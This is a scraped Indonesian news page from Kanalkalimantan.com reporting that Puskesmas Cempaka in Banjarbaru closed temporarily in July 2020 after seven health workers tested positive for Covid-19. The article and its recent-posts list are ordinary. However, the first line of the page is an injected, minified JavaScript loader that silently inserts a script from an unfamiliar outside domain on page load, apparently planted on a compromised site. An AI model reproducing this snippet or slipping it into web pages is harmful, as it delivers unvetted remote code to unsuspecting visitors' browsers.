(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarbaru

Giliran Puskesmas Cempaka Terpaksa Ditutup, 7 Nakes Terpapar Covid-19


KANALKALIMANTAN.COM, BANJARBARU – Barisan tenaga kesehatan di Kota Banjarbaru kembali tumbang setelah dinyatakan terpapar Covid-19. Kondisi ini mengakibatkan salah satu layanan di fasilitas kesehatan milik Pemerintah Kota (Pemko) Banjarbaru harus dihentikan untuk sementara waktu.

Informasi yang diterima Kanalkalimantan.com, kabar penutupan layanan kesehatan ini terjadi di Puskesmas Rawat Inap Cempaka, Kecamatan Cempaka, Banjarbaru. Kabarnya, beberapa tenaga kesehatan di Puskesmas tersebut telah dinyatakan positif terpapar virus corona.

Kepala Dinas Kesehatan (Dinkes) Banjarbaru, Rizana Mirza, saat dihubungi Kanalkalimantan.com, Sabtu (18/7/2020) malam, membenarkan informasi ini. Ia menuturkan bahwa penutupan itu telah berlangsung sejak beberapa hari yang lalu.

“Benar, sejak Kamis kemarin sampai hari ini Puskesmas Cempaka ditutup. Pada Kamis itu ada pemeriksaan swab terhadap tenaga kesehatan di sana, serta pelaksanaan sterilisasi sarana Puskesmas,” katanya.

Hasil pemeriksaan swab di Puskesmas Cempaka menyatakan ada beberapa tenaga kesehatan yang positif terpapar virus.

“Ada 7 tenaga kesehatan di Puskesmas Cempaka yang dinyatakan positif terpapar Covid-19. Dalam catatan kami, mereka adalah 4 orang bidan, 1 orang perawat, dan 2 orang pegawai umum,” lanjut Rizana.

Kendati demikian, Rizana memastikan bahwa Puskesmas Cempaka telah dinyatakan steril dan siap untuk membuka layanan kesehatan kembali. Ia juga mengingat kepada masyarakat tetap menerapkan protokol kesehatan, agar penularan virus di lingkungan fasilitas kesehatan bisa dicegah.

“Hari Senin tanggal 20 Juli, pelayanan kesehatan di Puskesmas Cempaka akan buka kembali seperti biasanya. Masyarakat perlu kedisiplinan meningkatkan kewaspadaan terhadal penularan virus Covid-19 ini. Patuhi protokol kesehatan untuk selalu memakai masker, menjaga jarak dan selalu mencuci tangan,” tandasnya.

Kejadian di Puskesmas Cempaka ini kembali menambah deretan panjang kasus tumbangnya para tenaga kesehatan di Kota Banjarbaru. Pada awal Juli lalu, dua fasilitas kesehatan di Kecamatan Landasan Ulin yakni Puskesmas Guntung Payung dan Puskesmas Guntung Manggis juga harus ditutup sementara waktu, menyusul sejumlah tenaga kesehatan di sana terpapar Covid-19.

Saat itu, Pemerintah Kota (Pemko) Banjarbaru memutuskan menutup layananan di dua Puskesmas tersebut, selama dua hari, tepatnya 6-7 Juli. Dinas Kesehatan mengklaim faktor penyebab terpaparnya para tenaga kesehatan ialah penularan saat menjalankan tugas. (kanalkalimantan.com/rico)

Reporter : Rico
Editor : Dhani


Desy Arfianty

Recent Posts

Cek Pelayanan Kesehatan Berjalan Optimal, Bupati Wiyatno Audiensi ke RSUD Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melakukan kunjungan kerja sekaligus audiensi dengan… Read More

2 jam ago

67 Ribu Warga Tak Lagi Ditanggung BPJS Kesehatan, Pemko Banjarmasin Upayakan Pengaktifan Kembali

KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More

18 jam ago

Janji Wali Kota Yamin Tertibkan Bangunan di Atas Sungai

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR menyoroti bangunan yang berdiri di… Read More

20 jam ago

MAFINDO Kalsel Bekali Guru di Banjarmasin Memahami Teknologi Kecerdasan Buatan

KANALKALIMANTAN.COM, BANJARMASIN - Membuka tahun 2026, Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan (Kalsel) menggelar… Read More

20 jam ago

Pengelolaan UNESCO Global Geopark Meratus Diperkuat

Saat ini Ada 17 Situs Geologi Utama, 50 Titik Potensial Masih Dikaji Read More

1 hari ago

Mereka Menanti Skatepark di Kota Seribu Sungai

KANALKALIMANTAN.COM, BANJARMASIN – Sudah lama para skater menanti kehadiran skatepark di Kota Banjarmasin. Pasalnya, Siring… Read More

1 hari ago

This website uses cookies.